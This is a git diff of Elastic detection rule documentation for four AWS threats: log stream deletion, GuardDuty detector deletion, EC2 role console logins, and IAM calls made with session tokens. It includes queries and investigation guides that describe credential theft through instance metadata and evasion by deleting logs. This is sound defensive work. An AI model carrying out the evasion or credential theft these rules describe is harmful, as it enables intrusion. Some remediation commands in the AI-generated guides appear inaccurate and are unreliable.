diff --git a/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-log-stream-deletion.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-log-stream-deletion.asciidoc
index 91d300e5d0..c4c534a9dd 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-log-stream-deletion.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-cloudwatch-log-stream-deletion.asciidoc
@@ -1,7 +1,7 @@
 [[aws-cloudwatch-log-stream-deletion]]
 === AWS CloudWatch Log Stream Deletion
 
-Identifies the deletion of an AWS CloudWatch log stream, which permanently deletes all associated archived log events with the stream.
+Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the deletion of an AWS CloudWatch log stream, which permanently delet
 
 *Risk score*: 47
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -30,12 +30,13 @@ Identifies the deletion of an AWS CloudWatch log stream, which permanently delet
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
-* Data Source: AWS CloudWatch
+* Data Source: Amazon CloudWatch
 * Use Case: Log Auditing
+* Tactic: Defense Evasion
 * Tactic: Impact
 * Resources: Investigation Guide
 
-*Version*: 211
+*Version*: 212
 
 *Rule authors*: 
 
@@ -51,69 +52,111 @@ Identifies the deletion of an AWS CloudWatch log stream, which permanently delet
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to your operational context.
 
-*Investigating AWS CloudWatch Log Stream Deletion*
 
+*Investigating AWS CloudWatch Log Stream Deletion*
 
-Amazon CloudWatch is a monitoring and observability service that collects monitoring and operational data in the form of logs, metrics, and events for resources and applications. This data can be used to detect anomalous behavior in your environments, set alarms, visualize logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your applications running smoothly.
 
-A log stream is a sequence of log events that share the same source. Each separate source of logs in CloudWatch Logs makes up a separate log stream.
+CloudWatch log streams contain sequential log events from a single application, service, or AWS resource.  
+Deleting a log stream permanently removes its archived log events, which may disable monitoring workflows, eliminate 
+critical telemetry, or disrupt forensic visibility.
 
-This rule looks for the deletion of a log stream using the API `DeleteLogStream` action. Attackers can do this to cover their tracks and impact security monitoring that relies on these sources.
+Adversaries may delete log streams to cover their tracks after unauthorized actions, break ingestion pipelines feeding SIEM, alerting, or anomaly detection or to remove evidence before escalating privileges or moving laterally. This rule detects successful invocations of the `DeleteLogStream` API from CloudTrail.
 
 
 *Possible investigation steps*
 
 
-- Identify the user account that performed the action and whether it should perform this kind of action.
-- Investigate other alerts associated with the user account during the past 48 hours.
-- Contact the account and resource owners and confirm whether they are aware of this activity.
-- Check if this operation was approved and performed according to the organization's change management policy.
-- Considering the source IP address and geolocation of the user who issued the command:
-    - Do they look normal for the calling user?
-    - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?
-    - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?
-- Investigate the deleted log stream's criticality and whether the responsible team is aware of the deletion.
-- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`.  
+  - Confirm whether the user or role normally manages CloudWatch Logs resources.
+
+- **Review request details**
+  - Inspect `aws.cloudtrail.request_parameters` to determine which log stream and parent log group were deleted.  
+  - Assess the importance of the deleted stream:
+    - Was it used for VPC Flow Logs, CloudTrail, Lambda functions, ECS tasks, or application logs?  
+    - Did it contain logs used for security detection or compliance auditing?
+
+- **Examine request origin and context**
+  - Review `source.ip` and `user_agent.original` for anomalies (e.g., unfamiliar CLI tools, suspicious automation, 
+    unknown IP ranges, or external geolocations).
+  - Validate whether the request originated from a legitimate automation host or jump box.  
+  - Check activity around the same timestamp for related operations such as:
+    - `DeleteLogGroup`
+    - `StopLogging`, `UpdateTrail`, or `DeleteTrail`
+    - GuardDuty detector or CloudWatch alarm deletions
+    - IAM policy or role modifications
+
+- **Determine operational justification**
+  - Consult change management systems or deployment pipelines to confirm whether the deletion was planned.  
+  - Contact application owners or platform teams to determine whether the log stream was part of normal rotation or cleanup.
+
+- **Investigate broader compromise indicators**
+  - Look for suspicious activity by the same identity in the past 24–48 hours, such as:
+    - Failed authentication attempts  
+    - IAM privilege escalations  
+    - Unusual STS AssumeRole usage  
+    - Access from new geolocations  
 
 
 *False positive analysis*
 
 
-- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions.
+- **Log rotation and automation**
+  - Some systems delete log streams automatically when rolling new deployments or recycling compute resources.
+  - CI/CD pipelines managing immutable infrastructure may delete and recreate streams during each deploy.
+
+- **Test and development accounts**
+  - Dev/test environments may frequently create and delete log streams as part of iterative work.
+
+- **Bulk cleanup operations**
+  - Platform engineering teams may delete obsolete log streams during cost-optimization or log-retention management.
+
+If the rule triggers frequently from known infrastructure accounts or automation hosts, consider adding narrow exceptions using a combination of IAM role, IP range, or user agent.
 
 
 *Response and remediation*
 
 
-- Initiate the incident response process based on the outcome of the triage.
-- Disable or limit the account during the investigation and response.
-- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:
-    - Identify the account role in the cloud environment.
-    - Assess the criticality of affected services and servers.
-    - Work with your IT team to identify and minimize the impact on users.
-    - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.
-    - Identify any regulatory or legal ramifications related to this activity.
-- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.
-- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.
-- Consider enabling multi-factor authentication for users.
-- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.
-- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS.
-- Take the actions needed to return affected systems, data, or services to their normal operational levels.
-- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.
-- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+- **Containment**
+  - If the deletion is unauthorized, review other CloudWatch resources for additional tampering (alarms, log groups, metric filters).
+  - Temporarily restrict permissions for the implicated IAM user or role.
+
+- **Investigation**
+  - Reconstruct any missing telemetry from alternative sources (e.g., S3 buckets, application logs, third-party logging systems).
+  - Review CloudTrail and Config timelines for preceding suspicious events.
+  - Validate whether the deleted log stream contained evidence of prior compromise.
+
+- **Recovery and hardening**
+  - Implement IAM least-privilege for `logs:DeleteLogStream`.
+  - Enable AWS Config rules to monitor CloudWatch Logs configuration changes.  
+  - Ensure that business-critical log groups enforce minimum retention periods and prevent accidental deletion.
+  - Integrate log stream lifecycle management into CI/CD to avoid manual deletions.
+  - Establish guardrails using Service Control Policies (SCPs) to block log deletions outside designated automation roles.
+
+
+*Additional information*
 
-==== Setup
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:logs.amazonaws.com and event.action:DeleteLogStream and event.outcome:success
+event.dataset: "aws.cloudtrail" 
+  and event.provider: "logs.amazonaws.com" 
+  and event.action: "DeleteLogStream" 
+  and event.outcome: "success"
+  and source.ip: * 
+  and not user_agent.original : "AWS Internal"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-ec2-instance-console-login-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-ec2-instance-console-login-via-assumed-role.asciidoc
index 81dad5808f..11706dda6f 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-ec2-instance-console-login-via-assumed-role.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-ec2-instance-console-login-via-assumed-role.asciidoc
@@ -1,7 +1,7 @@
 [[aws-ec2-instance-console-login-via-assumed-role]]
 === AWS EC2 Instance Console Login via Assumed Role
 
-Identifies a successful console login activity by an EC2 instance profile using an assumed role. This is uncommon behavior and could indicate an attacker using compromised credentials to further exploit an environment. An EC2 instance assumes a role using their EC2 ID as the session name. This rule looks for the pattern "i-" which is the beginning pattern for assumed role sessions started by an EC2 instance and a successful `ConsoleLogin` or `GetSigninToken` API call.
+Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account.
 
 *Rule type*: eql
 
@@ -32,12 +32,14 @@ Identifies a successful console login activity by an EC2 instance profile using
 * Data Source: Amazon Web Services
 * Data Source: AWS EC2
 * Data Source: AWS STS
+* Data Source: AWS Sign-In
 * Use Case: Identity and Access Audit
 * Tactic: Lateral Movement
 * Tactic: Credential Access
+* Tactic: Persistence
 * Resources: Investigation Guide
 
-*Version*: 4
+*Version*: 5
 
 *Rule authors*: 
 
@@ -60,48 +62,81 @@ Identifies a successful console login activity by an EC2 instance profile using
 *Investigating AWS EC2 Instance Console Login via Assumed Role*
 
 
-AWS EC2 instances can assume roles to access resources securely, using temporary credentials. This mechanism, while essential for legitimate operations, can be exploited by adversaries who gain access to EC2 credentials, allowing them to assume roles and perform unauthorized actions. The detection rule identifies unusual console login activities by EC2 instances, flagging potential misuse by checking for specific session patterns and successful login events, thus helping to uncover lateral movement or credential access attempts.
+This rule detects successful AWS console or federation logins using temporary credentials tied to EC2 instance profiles. Under normal conditions, EC2 instances use their temporary credentials for programmatic API access — **not** for interactive console sessions. When an attacker gains access to an instance’s IMDS (Instance Metadata Service) or its environment variables, they may retrieve temporary STS credentials and attempt console logins to gain full access to the AWS account. A successful login of this type is rare and high-risk, as it strongly suggests credential theft or unauthorized session hijacking.
 
 
 *Possible investigation steps*
 
 
-- Review the CloudTrail logs for the specific event where event.dataset is "aws.cloudtrail" and event.provider is "signin.amazonaws.com" to gather more details about the login event.
-- Identify the EC2 instance associated with the session by examining the user.id field for the pattern ":i-" and correlate it with known EC2 instance IDs in your environment.
-- Check the AWS CloudTrail logs for any other activities performed by the same assumed role session to identify any unauthorized actions or lateral movement attempts.
-- Investigate the source IP address and geolocation of the login event to determine if it aligns with expected access patterns for your organization.
-- Verify the IAM role policies and permissions associated with the assumed role to assess the potential impact of the unauthorized access.
-- Review recent changes to the IAM roles and policies to identify any unauthorized modifications that could have facilitated the assumed role access.
-- Contact the instance owner or relevant team to confirm if the login activity was expected or authorized, and take appropriate action if it was not.
+- **Identify the source and actor**
+  - Review `aws.cloudtrail.user_identity.arn`, `user.id`, and `user_agent.original` fields to confirm the session originated from an EC2 instance (`:i-` pattern).
+  - Correlate the instance ID (`i-xxxxxx`) with the specific EC2 instance in your environment to identify its owner, purpose, and running applications.
+  - Check `source.ip` and `cloud.region` to determine if the login originated from within AWS infrastructure (expected) or an external location (suspicious).
+
+- **Correlate surrounding activity**
+  - Pivot in Timeline to view the sequence of events leading up to the login, including:
+    - STS token retrievals (`GetSessionToken`, `AssumeRole`, `GetCallerIdentity`)
+    - Calls to the IMDS endpoint or local credential exfiltration attempts from the instance.
+  - Investigate whether the same role or credentials were used for API actions following the login (e.g., `CreateUser`, `AttachRolePolicy`, or `ListBuckets`).
+
+- **Assess IAM role exposure**
+  - Determine which IAM role was associated with the instance at the time of the event and review its attached permissions.
+  - Evaluate whether the role grants console access or permissions beyond what that workload normally requires.
+  - Check for any recent changes to that role’s trust policy or attached policies.
+
+- **Validate authorization**
+  - Contact the EC2 instance owner or service team to confirm if any legitimate process should be logging in to the console.
+  - If no legitimate activity can explain the login, treat the credentials as compromised.
 
 
 *False positive analysis*
 
 
-- Routine administrative tasks: EC2 instances may assume roles for legitimate administrative purposes, such as automated deployments or maintenance tasks. To manage this, identify and whitelist known administrative session patterns or specific instance IDs that regularly perform these tasks.
-- Monitoring and logging services: Some monitoring or logging services might use assumed roles to access AWS resources for data collection. Review and exclude these services by identifying their specific session patterns or instance IDs.
-- Scheduled jobs or scripts: Automated scripts or scheduled jobs running on EC2 instances might assume roles for resource access. Document these jobs and create exceptions for their session patterns to prevent false alerts.
-- Development and testing environments: Instances in development or testing environments might frequently assume roles for testing purposes. Consider excluding these environments from the rule or creating specific exceptions for known testing activities.
-- Third-party integrations: Some third-party tools or integrations might require EC2 instances to assume roles for functionality. Verify these integrations and exclude their session patterns or instance IDs from triggering alerts.
+This is very uncommon behavior.  
+Known legitimate causes include:
+- AWS or internal security automation that programmatically initiates console sessions for validation or testing.
+- Forensic or incident-response automation that logs in using temporary credentials from a compromised instance.
+- Red-team or penetration-testing activity designed to validate IMDS exposure or lateral movement scenarios.
+
+For any other occurrence, treat the alert as potentially malicious.  
+Validate through:
+- The originating instance’s purpose and owner.
+- Known automation patterns in `user_agent.original`.
+- The timestamp alignment with planned testing or security validation.
 
 
 *Response and remediation*
 
 
-- Immediately revoke the temporary credentials associated with the compromised EC2 instance to prevent further unauthorized access.
-- Isolate the affected EC2 instance from the network to contain any potential lateral movement by the attacker.
-- Conduct a thorough review of CloudTrail logs to identify any unauthorized actions performed using the assumed role and assess the extent of the compromise.
-- Reset and rotate all credentials and access keys associated with the compromised EC2 instance and any other potentially affected resources.
-- Implement stricter IAM policies and role permissions to limit the scope of access for EC2 instances, ensuring the principle of least privilege is enforced.
-- Notify the security operations team and relevant stakeholders about the incident for further investigation and to initiate any necessary legal or compliance procedures.
-- Enhance monitoring and alerting mechanisms to detect similar patterns of unusual console login activities in the future, ensuring rapid response to potential threats.
+- **Immediate containment**
+  - Revoke the temporary credentials for the affected role (`aws sts revoke-session-token` or rotate the role credentials).
+  - Isolate the associated EC2 instance (e.g., detach it from the VPC or security groups) to prevent further credential misuse.
+  - Invalidate active console sessions via AWS CLI or the AWS Console.
+
+- **Investigation and scoping**
+  - Review CloudTrail logs for all actions associated with the compromised role in the preceding 24 hours.
+  - Determine if additional roles or instances show similar `ConsoleLogin` patterns.
+  - Search for network indicators of IMDS exploitation (e.g., requests to `169.254.169.254` from unauthorized binaries or users).
+
+- **Recovery and hardening**
+  - Rotate all credentials for affected roles and users.
+  - Apply IMDSv2 enforcement to prevent credential harvesting from EC2 metadata.
+  - Implement restrictive IAM policies: deny console access (`iam:PassRole`, `sts:GetFederationToken`) for non-human roles.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-any where event.dataset == "aws.cloudtrail"
+info where event.dataset == "aws.cloudtrail"
    and event.provider == "signin.amazonaws.com"
    and event.action in ("ConsoleLogin", "GetSigninToken")
    and event.outcome == "success"
@@ -133,6 +168,26 @@ any where event.dataset == "aws.cloudtrail"
 ** ID: T1550.001
 ** Reference URL: https://attack.mitre.org/techniques/T1550/001/
 * Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Cloud Accounts
+** ID: T1078.004
+** Reference URL: https://attack.mitre.org/techniques/T1078/004/
+* Tactic:
 ** Name: Credential Access
 ** ID: TA0006
 ** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Unsecured Credentials
+** ID: T1552
+** Reference URL: https://attack.mitre.org/techniques/T1552/
+* Sub-technique:
+** Name: Cloud Instance Metadata API
+** ID: T1552.005
+** Reference URL: https://attack.mitre.org/techniques/T1552/005/
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-guardduty-detector-deletion.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-guardduty-detector-deletion.asciidoc
index 8f7c165ab9..7c69b41b5f 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-guardduty-detector-deletion.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-guardduty-detector-deletion.asciidoc
@@ -1,7 +1,7 @@
 [[aws-guardduty-detector-deletion]]
 === AWS GuardDuty Detector Deletion
 
-Identifies the deletion of an Amazon GuardDuty detector. Upon deletion, GuardDuty stops monitoring the environment and all existing findings are lost.
+Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt.
 
 *Rule type*: query
 
@@ -14,15 +14,14 @@ Identifies the deletion of an Amazon GuardDuty detector. Upon deletion, GuardDut
 
 *Risk score*: 73
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
 *References*: 
 
-* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/guardduty/delete-detector.html
 * https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html
 
 *Tags*: 
@@ -30,10 +29,11 @@ Identifies the deletion of an Amazon GuardDuty detector. Upon deletion, GuardDut
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
+* Data Source: AWS GuardDuty
 * Tactic: Defense Evasion
 * Resources: Investigation Guide
 
-*Version*: 209
+*Version*: 210
 
 *Rule authors*: 
 
@@ -50,58 +50,89 @@ Identifies the deletion of an Amazon GuardDuty detector. Upon deletion, GuardDut
 
 
 > **Disclaimer**:
-> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 
 
 *Investigating AWS GuardDuty Detector Deletion*
 
 
-AWS GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior in AWS environments. Deleting a GuardDuty detector halts this monitoring, potentially concealing malicious actions. Adversaries may exploit this by deleting detectors to evade detection. The detection rule identifies successful deletion events, signaling potential defense evasion attempts, and is crucial for maintaining security visibility.
+Amazon GuardDuty is a continuous threat detection service that analyzes CloudTrail, DNS, and VPC Flow Logs to identify malicious activity and compromised resources. Deleting a GuardDuty detector stops this monitoring entirely and permanently removes all historical findings for the affected AWS account. This rule detects successful `DeleteDetector` API calls, which may represent an attacker attempting to impair defenses and evade detection. Such actions should be rare and always performed under controlled administrative change processes.
 
 
 *Possible investigation steps*
 
 
-- Review the CloudTrail logs for the specific event.provider:guardduty.amazonaws.com and event.action:DeleteDetector to identify the user or role responsible for the deletion.
-- Check the event.outcome:success to confirm the deletion was successful and not an attempted action.
-- Investigate the IAM permissions and recent activity of the user or role identified to determine if the deletion was authorized or potentially malicious.
-- Examine any recent GuardDuty findings prior to the deletion to assess if there were any critical alerts that might have prompted the deletion.
-- Correlate the timing of the detector deletion with other security events or anomalies in the AWS environment to identify potential patterns or coordinated actions.
-- Review AWS CloudTrail logs for any other suspicious activities or changes in the environment around the time of the detector deletion.
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who initiated the deletion.
+  - Verify whether this principal normally performs GuardDuty configuration or administrative tasks.
+
+- **Review request context**
+  - Check `aws.cloudtrail.request_parameters` and `cloud.region` to confirm the targeted GuardDuty detector and scope of impact.
+  - Determine whether multiple detectors or member accounts were affected (especially in delegated admin organizations).
+
+- **Analyze source and access patterns**
+  - Review `source.ip`, `user_agent.original` and `source.geo` fields for anomalous or previously unseen access locations or automation clients.
+  - Check whether the deletion occurred outside standard maintenance windows or during a concurrent suspicious activity window.
+
+- **Correlate with preceding or related activity**
+  - Search for earlier GuardDuty configuration changes:
+    - `StopMonitoringMembers`, `DisassociateMembers`, or `DeleteMembers`
+    - IAM role or policy modifications reducing GuardDuty privileges
+  - Look for other defense evasion indicators such as CloudTrail suspension, Security Hub configuration changes, or disabling of AWS Config rules.
+
+- **Review historical GuardDuty findings**
+  - Examine prior GuardDuty alerts and findings (if still retrievable) to determine whether the deletion followed significant detection activity.
+  - Use centralized logs or security data lakes to recover findings removed from the console.
 
 
 *False positive analysis*
 
 
-- Routine maintenance or administrative actions may lead to the deletion of a GuardDuty detector. Verify if the deletion aligns with scheduled maintenance or administrative tasks.
-- Automated scripts or tools used for environment cleanup might inadvertently delete detectors. Review and adjust automation scripts to prevent unintended deletions.
-- Organizational policy changes or restructuring could result in detector deletions. Ensure that policy changes are communicated and understood by all relevant teams to avoid unnecessary deletions.
-- Exclude known and authorized users or roles from triggering alerts by creating exceptions for specific IAM roles or user accounts that are responsible for legitimate detector deletions.
-- Implement logging and alerting for detector deletions to quickly identify and verify the legitimacy of the action, allowing for rapid response to potential false positives.
+- **Authorized administrative actions**
+  - Verify whether the deletion corresponds to legitimate account decommissioning, region cleanup, or migration activity.
+- **Automation or IaC**
+  - GuardDuty may be disabled temporarily during infrastructure provisioning or teardown in automated environments. 
+    Confirm via CI/CD logs or Infrastructure-as-Code templates.
+- **Organizational configuration changes**
+  - Large organizations might consolidate GuardDuty under a delegated administrator account, causing detectors to be deleted in member accounts. 
+    Validate these actions against security architecture changes.
 
 
 *Response and remediation*
 
 
-- Immediately re-enable GuardDuty in the affected AWS account to restore monitoring capabilities and ensure continuous threat detection.
-- Conduct a thorough review of CloudTrail logs to identify any unauthorized access or suspicious activities that occurred during the period when GuardDuty was disabled.
-- Isolate any compromised resources identified during the log review to prevent further unauthorized access or damage.
-- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation.
-- Implement additional access controls and monitoring on the AWS account to prevent unauthorized deletion of GuardDuty detectors in the future.
-- Review and update IAM policies to ensure that only authorized personnel have permissions to delete GuardDuty detectors.
-- Consider enabling AWS Config rules to monitor and alert on changes to GuardDuty configurations for proactive detection of similar incidents.
+- **Containment and restoration**
+  - If unauthorized, immediately re-enable GuardDuty in the affected account and region using the `CreateDetector` API or AWS console.
+  - Verify that findings aggregation and member account associations are restored to expected configurations.
+
+- **Investigation**
+  - Review CloudTrail for related privilege escalation or resource tampering events around the deletion time.
+  - Assess whether any attacker activity occurred during the monitoring gap between deletion and restoration.
+
+- **Recovery and hardening**
+  - Restrict `guardduty:DeleteDetector` permissions to a limited administrative role.
+  - Implement AWS Config rules or Security Hub controls to alert on changes to GuardDuty detectors or configuration states.
+  - Enforce least privilege IAM policies, ensuring operational automation cannot disable GuardDuty outside maintenance workflows.
+  - Document approved GuardDuty maintenance activities and correlate them with change tickets for traceability.
+
 
-==== Setup
+*Additional information*
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:guardduty.amazonaws.com and event.action:DeleteDetector and event.outcome:success
+event.dataset: aws.cloudtrail 
+  and event.provider: guardduty.amazonaws.com 
+  and event.action: DeleteDetector 
+  and event.outcome: success
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-api-calls-via-temporary-session-tokens.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-api-calls-via-temporary-session-tokens.asciidoc
index 0d10ba4c6c..be2652d6ec 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-api-calls-via-temporary-session-tokens.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-api-calls-via-temporary-session-tokens.asciidoc
@@ -1,7 +1,7 @@
 [[aws-iam-api-calls-via-temporary-session-tokens]]
 === AWS IAM API Calls via Temporary Session Tokens
 
-Detects use of sensitive AWS IAM API operations using temporary credentials (session tokens starting with 'ASIA'). This may indicate credential theft or abuse of elevated access via a stolen session. It is not common for legitimate users to perform sensitive IAM operations with temporary session tokens.
+Detects sensitive AWS IAM API operations executed using temporary session credentials (access key IDs beginning with "ASIA"). Temporary credentials are commonly issued through sts:GetSessionToken, sts:AssumeRole, or AWS SSO logins and are meant for short-term use. It is unusual for legitimate users or automated processes to perform privileged IAM actions (e.g., creating users, updating policies, or enabling/disabling MFA) with session tokens. This behavior may indicate credential theft, session hijacking, or the abuse of a privileged role’s temporary credentials.
 
 *Rule type*: new_terms
 
@@ -36,7 +36,7 @@ Detects use of sensitive AWS IAM API operations using temporary credentials (ses
 * Tactic: Privilege Escalation
 * Resources: Investigation Guide
 
-*Version*: 3
+*Version*: 4
 
 *Rule authors*: 
 
@@ -52,45 +52,93 @@ Detects use of sensitive AWS IAM API operations using temporary credentials (ses
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
 
 *Investigating AWS IAM API Calls via Temporary Session Tokens*
 
 
-This rule detects sensitive IAM API operations performed using temporary AWS credentials (session tokens starting with 'ASIA'). These are short-lived credentials commonly obtained via sts:GetSessionToken, sts:AssumeRole, or AWS SSO login. While temporary credentials are often used for development and automation, they are rarely associated with direct IAM manipulation and may indicate credential theft, privilege escalation, or abuse of developer access.
+Temporary session credentials in AWS (identified by access keys beginning with "ASIA") are typically short-lived tokens 
+issued by the AWS Security Token Service (STS). While they are legitimate and often used by developers or automation pipelines, 
+their use in direct IAM management or privilege modification is highly unusual and may indicate credential misuse.
+
+Attackers who compromise IAM users, roles, or federated identities can obtain session tokens to blend in with normal operations. 
+They may then execute sensitive IAM API actions such as `CreateAccessKey`, `PutUserPolicy`, or `UpdateAssumeRolePolicy` to 
+establish persistence, escalate privileges, or disable protections.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine the originating user or role.
+  - Check `event.original` if ingested, look for `sessionCredentialFromConsole: true`. If this is present, the temporary session token was created as part of a legitimate console login session and this alert can be ignored. 
+  - Examine `aws.cloudtrail.user_identity.session_context.mfa_authenticated` — absence of MFA may indicate token misuse.
+
+- **Analyze the API context**
+  - Review `event.action` and `aws.cloudtrail.request_parameters` for the exact IAM operation performed.
+  - Identify whether the action modifies roles, user policies, trust relationships, or credentials.
+  - Determine if this session token was associated with prior `sts:GetSessionToken`, `sts:AssumeRole`, or `AWS SSO` events.
+
+- **Evaluate source and behavior**
+  - Inspect `source.ip` and `user_agent.original` for unexpected origins or tools.
+  - Check if the request came from known infrastructure (e.g., CI/CD nodes, bastion hosts) or an anomalous network.
+  - Compare `@timestamp` against normal operating hours or deployment schedules.
+
+- **Correlate related activity**
+  - Look for subsequent or preceding activity using the same access key:
+    - IAM changes (`CreateUser`, `AttachUserPolicy`, `EnableMFADevice`)
+    - STS operations (`AssumeRole`, `GetCallerIdentity`)
+    - CloudTrail or GuardDuty configuration changes (possible defense evasion)
+  - If applicable, search for multiple users exhibiting similar patterns, a sign of large-scale token misuse.
+
+
+*False positive analysis*
 
 
-*Possible investigation steps:*
+- **Expected automation**
+  - Some CI/CD pipelines, monitoring tools, or AWS SDK-based automation may perform IAM operations using temporary credentials.
+  - Validate whether the IAM user or assumed role performing these actions belongs to an authorized automation workflow.
+- **Administrative operations**
+  - Security or DevOps engineers may temporarily use session credentials for maintenance or testing.
+  - Cross-reference with recent change tickets or known operations schedules.
+- **Federated identity scenarios**
